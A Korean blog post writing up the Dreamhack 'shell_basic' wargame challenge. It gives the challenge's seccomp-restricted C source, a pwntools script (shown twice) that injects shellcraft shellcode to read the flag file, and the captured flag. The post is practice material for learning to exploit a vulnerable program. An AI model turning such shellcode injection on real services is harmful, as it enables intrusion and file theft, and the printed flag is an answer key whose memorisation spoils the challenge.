dreamhack wargame -1

2024. 5. 25. 14:03·시스템 해킹

https://dreamhack.io/wargame/challenges/410

 

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!

플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.

 

 

 

shell_basic 문제

source courde

 

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
puts("TIME OUT");
exit(-1);
}

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}

void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
 
init();
 
banned_execve();

printf("shellcode: ");
read(0, shellcode, 0x1000);

sc = (void *)shellcode;
sc();
}

 

 

 

 

 

 

 

pwn의 shellcraft를 사용하여 파이썬코드를 작성

from pwn import *
context.log_level = "debug"
r = remote("host3.dreamhack.games", 20176)
context(arch='amd64', os='linux')
sh = pwnlib.shellcraft.cat("/home/shell_basic/flag_name_is_loooooong", fd=1)

r.sendlineafter("shellcode: ", asm(sh))
r.recvline()
r.interactive()

 

 

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.

파일 위치를 이쪽으로 지정하여 넣게되면 쉘코드를 실행하면서 디버깅이되고

 

 

 

 

문제의 답인 flag의 값이 출력된다.

 

 b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'

 

답

DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'

 

 

 

 

 

 

 

from pwn import *

context.log_level="debug"

p = remote('host3.dreamhack.games', 20176)

context (arch='amd64', os='linux')

sh = pwnlib.shellcraft.cat("/home/shell_basic/flag_name_is_loooooong", fd=1)


p.sendlineafter("shellcode:", asm(sh))

p.recvline()

p.interactive()


 

python 코드 2 나중에 한번 더풀어보기

저작자표시 비영리 변경금지 (새창열림)

'시스템 해킹' 카테고리의 다른 글

HackerSchool FTZ - 3  (0) 2024.05.23
HackerSchool FTZ - 2  (0) 2024.05.23
HackerSchool FTZ - 1  (0) 2024.05.23
HackerSchool FTZ trainning 전체  (0) 2024.05.23
포멧스트링 버그 - 데이터쓰기  (0) 2024.05.19
'시스템 해킹' 카테고리의 다른 글
  • HackerSchool FTZ - 3
  • HackerSchool FTZ - 2
  • HackerSchool FTZ - 1
  • HackerSchool FTZ trainning 전체
taktaks
taktaks
보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
  • taktaks
    taktaks
    taktaks
  • 전체
    오늘
    어제
    • 보안 일지 (280)
      • 네트워크 구축 (12)
      • 리눅스 보안구축 (10)
      • 파이썬 기본 (11)
      • Web hacking (39)
      • 통합 인프라 보안 (41)
      • 공격기법 및 탐지 (33)
      • 악성코드 및 포렌식 (93)
      • 리버싱 (5)
      • 시스템 해킹 (20)
      • C 언어 (12)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      프롯
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    taktaks
    dreamhack wargame -1
    상단으로

    티스토리툴바